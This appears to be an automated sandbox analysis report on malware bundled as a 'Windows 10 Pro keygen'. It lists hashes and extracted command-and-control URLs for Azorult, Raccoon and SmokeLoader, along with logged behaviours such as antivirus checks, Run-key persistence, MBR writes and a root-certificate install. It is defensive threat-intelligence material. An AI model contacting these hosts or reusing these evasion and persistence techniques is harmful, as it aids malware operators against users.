Analysis
-
max time kernel
57s -
max time network
301s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
09-03-2021 14:22
Static task
static1
Behavioral task
behavioral1
Sample
Windows_10_Pro_x64_Includes_keygen_by_KeygenNinja.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
Windows_10_Pro_x64_Includes_keygen_by_KeygenNinja.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
Windows_10_Pro_x64_Includes_keygen_by_KeygenNinja.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
Windows_10_Pro_x64_Includes_keygen_by_KeygenNinja.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
Windows_10_Pro_x64_Includes_keygen_by_KeygenNinja.exe
Resource
win7v20201028
General
-
Target
Windows_10_Pro_x64_Includes_keygen_by_KeygenNinja.exe
-
Size
8.2MB
-
MD5
456c5963a08824d34303db846ff8bf14
-
SHA1
c03e0c681008417923c0280a204fe7b54087154b
-
SHA256
413b1728b45d73f2d18d016edf377a461d58eec8bb662825713666d696cd3cdf
-
SHA512
6a14d4d6e57964f4fa79787c0badbac4773587874871f2095e01dcf3ab091d78a4892a63b6a74de5363d6e9a80865e4a984d63fe4f8c762b58de1193493754c8
Malware Config
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
raccoon
51c194bfb6e404af0e5ff0b93b443907a6a845b1
-
url4cnc
https://telete.in/h_focus_1
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2019
http://10022020newfolder1002002131-service1002.space/
http://10022020newfolder1002002231-service1002.space/
http://10022020newfolder3100231-service1002.space/
http://10022020newfolder1002002431-service1002.space/
http://10022020newfolder1002002531-service1002.space/
http://10022020newfolder33417-01242510022020.space/
http://10022020test125831-service1002012510022020.space/
http://10022020test136831-service1002012510022020.space/
http://10022020test147831-service1002012510022020.space/
http://10022020test146831-service1002012510022020.space/
http://10022020test134831-service1002012510022020.space/
http://10022020est213531-service100201242510022020.ru/
http://10022020yes1t3481-service1002012510022020.ru/
http://10022020test13561-service1002012510022020.su/
http://10022020test14781-service1002012510022020.info/
http://10022020test13461-service1002012510022020.net/
http://10022020test15671-service1002012510022020.tech/
http://10022020test12671-service1002012510022020.online/
http://10022020utest1341-service1002012510022020.ru/
http://10022020uest71-service100201dom2510022020.ru/
http://10022020test61-service1002012510022020.website/
http://10022020test51-service1002012510022020.xyz/
http://10022020test41-service100201pro2510022020.ru/
http://10022020yest31-service100201rus2510022020.ru/
http://10022020rest21-service1002012510022020.eu/
http://10022020test11-service1002012510022020.press/
http://10022020newfolder4561-service1002012510022020.ru/
http://10022020rustest213-service1002012510022020.ru/
http://10022020test281-service1002012510022020.ru/
http://10022020test261-service1002012510022020.space/
http://10022020yomtest251-service1002012510022020.ru/
http://10022020yirtest231-service1002012510022020.ru/
Extracted
raccoon
afefd33a49c7cbd55d417545269920f24c85aa37
-
url4cnc
https://telete.in/jagressor_kz
Extracted
raccoon
e71b51d358b75fe1407b56bf2284e3fac50c860f
-
url4cnc
https://telete.in/oidmrwednesday
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Glupteba Payload 3 IoCs
resource yara_rule behavioral2/memory/6508-462-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral2/memory/6508-466-0x0000000003940000-0x000000000419D000-memory.dmp family_glupteba behavioral2/memory/6508-469-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 8 IoCs
resource yara_rule behavioral2/memory/5064-229-0x0000000004930000-0x0000000004956000-memory.dmp family_redline behavioral2/memory/5064-221-0x0000000002030000-0x0000000002058000-memory.dmp family_redline behavioral2/memory/5460-360-0x0000000000400000-0x0000000000426000-memory.dmp family_redline behavioral2/memory/6584-442-0x0000000000400000-0x0000000000428000-memory.dmp family_redline behavioral2/memory/5100-907-0x00000000024C0000-0x00000000024ED000-memory.dmp family_redline behavioral2/memory/5100-911-0x00000000025E0000-0x000000000260C000-memory.dmp family_redline behavioral2/memory/8180-1012-0x0000000004C90000-0x0000000004CCE000-memory.dmp family_redline behavioral2/memory/8180-1015-0x00000000076A0000-0x00000000076DC000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Nirsoft 6 IoCs
resource yara_rule behavioral2/files/0x000400000001ab72-59.dat Nirsoft behavioral2/files/0x000400000001ab72-60.dat Nirsoft behavioral2/files/0x000100000001abad-83.dat Nirsoft behavioral2/files/0x000100000001abad-84.dat Nirsoft behavioral2/files/0x000100000001abc2-130.dat Nirsoft behavioral2/files/0x000100000001abc2-129.dat Nirsoft -
Executes dropped EXE 45 IoCs
pid Process 1988 keygen-pr.exe 2304 keygen-step-1.exe 1920 keygen-step-3.exe 3452 keygen-step-4.exe 3216 key.exe 1420 Setup.exe 3908 AD754B4D3FE2C4EE.exe 2380 AD754B4D3FE2C4EE.exe 808 askinstall20.exe 3684 1615303585499.exe 3008 Install.exe 3824 multitimer.exe 196 md2_2efs.exe 2924 1615303590030.exe 1320 file.exe 3712 FEE7.tmp.exe 416 40.tmp.exe 212 FEE7.tmp.exe 3880 multitimer.exe 3752 1615303595077.exe 4136 multitimer.exe 4320 poccgpqmzix.exe 4368 45zjevdzakr.exe 4408 ruqpmtbe2cl.exe 4420 vict.exe 4432 45zjevdzakr.tmp 4556 vict.tmp 4564 askinstall24.exe 4632 ylg2l0o2u5k.exe 4648 chashepro3.exe 4612 Setup3310.exe 4668 vpn.exe 4740 chashepro3.tmp 4732 Setup3310.tmp 4824 vpn.tmp 4884 BTRSetp.exe 5064 Brava.exe 5096 Venita.exe 856 app.exe 4180 mex.exe 1848 IBInstaller_97039.exe 4892 IBInstaller_97039.tmp 2992 1L2BILU54.exe 3852 chrome_proxy.exe 4468 ThunderFW.exe -
Modifies Windows Firewall 1 TTPs
-
resource yara_rule behavioral2/files/0x0002000000015668-33.dat office_xlm_macros -
Loads dropped DLL 14 IoCs
pid Process 3924 MsiExec.exe 4556 vict.tmp 4432 45zjevdzakr.tmp 4732 Setup3310.tmp 4732 Setup3310.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4892 IBInstaller_97039.tmp -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\m1vwa2dh5ye = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\QGG2GLQ6FE\\multitimer.exe\" 1 3.1615299779.604784c3e586c" multitimer.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\HE98ANAFWZI8PV9 = "\"C:\\Program Files\\1L2BILU54Y\\1L2BILU54.exe\"" 1L2BILU54.exe -
Checks for any installed AV software in registry 1 TTPs 53 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Vba32\Loader multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\McAfee\DesktopProtection multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe multitimer.exe Key opened \REGISTRY\MACHINE\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\G Data\AntiVirenKit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\ArcaBit multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Jiangmin\ComputerID multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Fortinet\FortiClient\installed multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Bitdefender\QuickScan multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\FRISK Software\F-PROT Antivirus for Windows multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\BullGuard Ltd.\BullGuard\Main multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\TrendMicro\UniClient multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\KasperskyLab multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Sophos multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS multitimer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md2_2efs.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Y: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 14 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 99 ipinfo.io 343 ipinfo.io 378 ipinfo.io 479 ip-api.com 124 ip-api.com 199 checkip.amazonaws.com 346 ipinfo.io 513 ipinfo.io 63 api.ipify.org 436 checkip.amazonaws.com 615 ipinfo.io 102 ipinfo.io 211 ipinfo.io 572 checkip.amazonaws.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 AD754B4D3FE2C4EE.exe File opened for modification \??\PhysicalDrive0 Setup.exe File opened for modification \??\PhysicalDrive0 AD754B4D3FE2C4EE.exe -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 1420 Setup.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 3908 set thread context of 1596 3908 AD754B4D3FE2C4EE.exe 105 PID 3908 set thread context of 1196 3908 AD754B4D3FE2C4EE.exe 114 PID 3712 set thread context of 212 3712 FEE7.tmp.exe 119 PID 3908 set thread context of 1596 3908 AD754B4D3FE2C4EE.exe 121 -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\JCleaner\is-C8RBN.tmp chashepro3.tmp File opened for modification C:\Program Files (x86)\MaskVPN\libeay32.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-AQGC4.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-9AMHQ.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-K41O1.tmp vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\libMaskVPN.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-DUDCM.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-71IJR.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-579PV.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-571F6.tmp vpn.tmp File created C:\Program Files (x86)\JCleaner\is-8C4R3.tmp chashepro3.tmp File opened for modification C:\Program Files (x86)\MaskVPN\libCommon.dll vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\mask_svc.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-NV8CC.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-25P1O.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-TH9K1.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-5899C.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-5QUVJ.tmp vpn.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\unins000.dat IBInstaller_97039.tmp File created C:\Program Files\1L2BILU54Y\1L2BILU54.exe poccgpqmzix.exe File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-8JMM5.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-42GQ8.tmp IBInstaller_97039.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-0TRS0.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\JCleaner\mex.exe chashepro3.tmp File created C:\Program Files (x86)\JCleaner\is-LL4O1.tmp chashepro3.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\win732\tapinstall.exe vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\tunnle.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-32RJ0.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-E2VM0.tmp vpn.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Delphi.dll IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Globalization.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\JCleaner\is-O3NJP.tmp chashepro3.tmp File opened for modification C:\Program Files (x86)\JCleaner\unins000.dat chashepro3.tmp File created C:\Program Files (x86)\MaskVPN\is-0DNKR.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-5DAU3.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-T7BTS.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-VGSIC.tmp vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\winxp32\devcon.exe vpn.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Studio.Host.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-4S9GL.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\unins000.dat IBInstaller_97039.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-O2JD8.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-94GTI.tmp vpn.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Studio.Refactoring.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-NVEQU.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\MaskVPN\ipseccmd.exe vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\winxp64\devcon.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-THKBE.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-I3JRG.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-GN2L7.tmp vpn.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-8SIA1.tmp IBInstaller_97039.tmp File created C:\Program Files\1L2BILU54Y\cast.config 1L2BILU54.exe File opened for modification C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe vpn.tmp File created C:\Program Files\1L2BILU54Y\uninstaller.exe.config poccgpqmzix.exe File created C:\Program Files (x86)\MaskVPN\driver\win732\is-OQ89M.tmp vpn.tmp File opened for modification C:\Program Files (x86)\JCleaner\Brava.exe chashepro3.tmp File opened for modification C:\Program Files (x86)\MaskVPN\ssleay32.dll vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\polstore.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-D3QOB.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-PDML8.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-11TEE.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-QURVF.tmp vpn.tmp File opened for modification C:\Program Files (x86)\IBBrowserInstallerEngine\Borland.Studio.Delphi.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\IBBrowserInstallerEngine\is-UE6Q0.tmp IBInstaller_97039.tmp -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
pid pid_target Process procid_target 4452 6948 WerFault.exe 449 -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc AD754B4D3FE2C4EE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 AD754B4D3FE2C4EE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 AD754B4D3FE2C4EE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 AD754B4D3FE2C4EE.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName AD754B4D3FE2C4EE.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName AD754B4D3FE2C4EE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 AD754B4D3FE2C4EE.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc AD754B4D3FE2C4EE.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName AD754B4D3FE2C4EE.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName AD754B4D3FE2C4EE.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc AD754B4D3FE2C4EE.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc AD754B4D3FE2C4EE.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 FEE7.tmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FEE7.tmp.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 7780 schtasks.exe 7928 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
pid Process 7860 timeout.exe 6708 timeout.exe 3140 timeout.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe -
Kills process with taskkill 9 IoCs
pid Process 4024 taskkill.exe 5632 taskkill.exe 7884 taskkill.exe 6408 taskkill.exe 584 taskkill.exe 5692 taskkill.exe 1224 taskkill.exe 7384 taskkill.exe 7316 TASKKILL.exe -
Modifies data under HKEY_USERS 1 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\PegasPc file.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f63